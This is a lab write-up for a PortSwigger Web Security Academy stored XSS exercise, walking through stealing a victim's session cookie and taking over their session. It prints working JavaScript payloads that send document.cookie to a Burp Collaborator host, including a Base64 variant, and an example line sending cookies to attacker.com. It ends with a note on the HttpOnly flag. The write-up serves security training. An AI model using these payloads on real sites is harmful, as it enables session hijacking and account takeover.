Skip to content

Exploiting XSS steal cookies

Field Value
Platform PortSwigger Web Security Academy
Difficulty Practitioner
Vulnerability Stored XSS — Cookie Exfiltration via Fetch + Burp Collaborator
Injection Point Comment field
Goal Steal the victim's session cookie via out-of-band HTTP request

Solution Walkthrough

The comment field is not sanitized. Confirming with a basic payload:

<script>alert(document.cookie)</script>
Screenshot

The alert shows our own session cookie — the sink is confirmed. Now the goal is to make the victim's browser send their cookie to a server we control.


Step 1 — Confirm out-of-band delivery works

Posting a comment that sends a fetch request to Burp Collaborator:

<script>fetch("https://COLLABORATOR-SUBDOMAIN.oastify.com")</script>
Screenshot

Polling Collaborator confirms an incoming request:

Screenshot

The victim's browser is reaching our Collaborator server.


Appending document.cookie as a URL parameter so it arrives in the Collaborator request log:

<script>
fetch("https://COLLABORATOR-SUBDOMAIN.oastify.com/?cookie=" + document.cookie)
</script>
Screenshot

The Collaborator request shows the cookie value in the URL:

Screenshot

Opening DevTools → Application → Cookies, replacing the session cookie value with the stolen one, then refreshing the page:

Screenshot

Logged in as the victim. Lab solved :P


To avoid issues with special characters in the cookie value breaking the URL:

<script>
fetch("https://COLLABORATOR-SUBDOMAIN.oastify.com/?cookie=" + btoa(document.cookie))
</script>

btoa() encodes the cookie as Base64 — safe to transmit in a URL parameter. Decode it in Collaborator with atob() or a Base64 decoder:

Screenshot

fetch() is a modern JavaScript API for making HTTP requests from the browser. Unlike alert() which only displays data locally, fetch() sends data to an external server:

// alert — data stays in the browser
alert(document.cookie)

// fetch — data leaves the browser
fetch("https://attacker.com/?data=" + document.cookie)

When the stored XSS payload executes in the victim's browser:

  1. The victim's browser runs fetch() in the context of the victim's session
  2. document.cookie returns the victim's cookies (those without HttpOnly)
  3. The cookie value is appended to the URL as a query parameter
  4. The browser makes an outbound HTTP GET request to the Collaborator server
  5. The Collaborator server logs the full URL — including the cookie value

[!note] This attack only captures cookies without the HttpOnly flag. Cookies marked HttpOnly are not accessible via document.cookie — they are sent automatically with HTTP requests but cannot be read by JavaScript. This is exactly why HttpOnly is a critical security attribute for session cookies.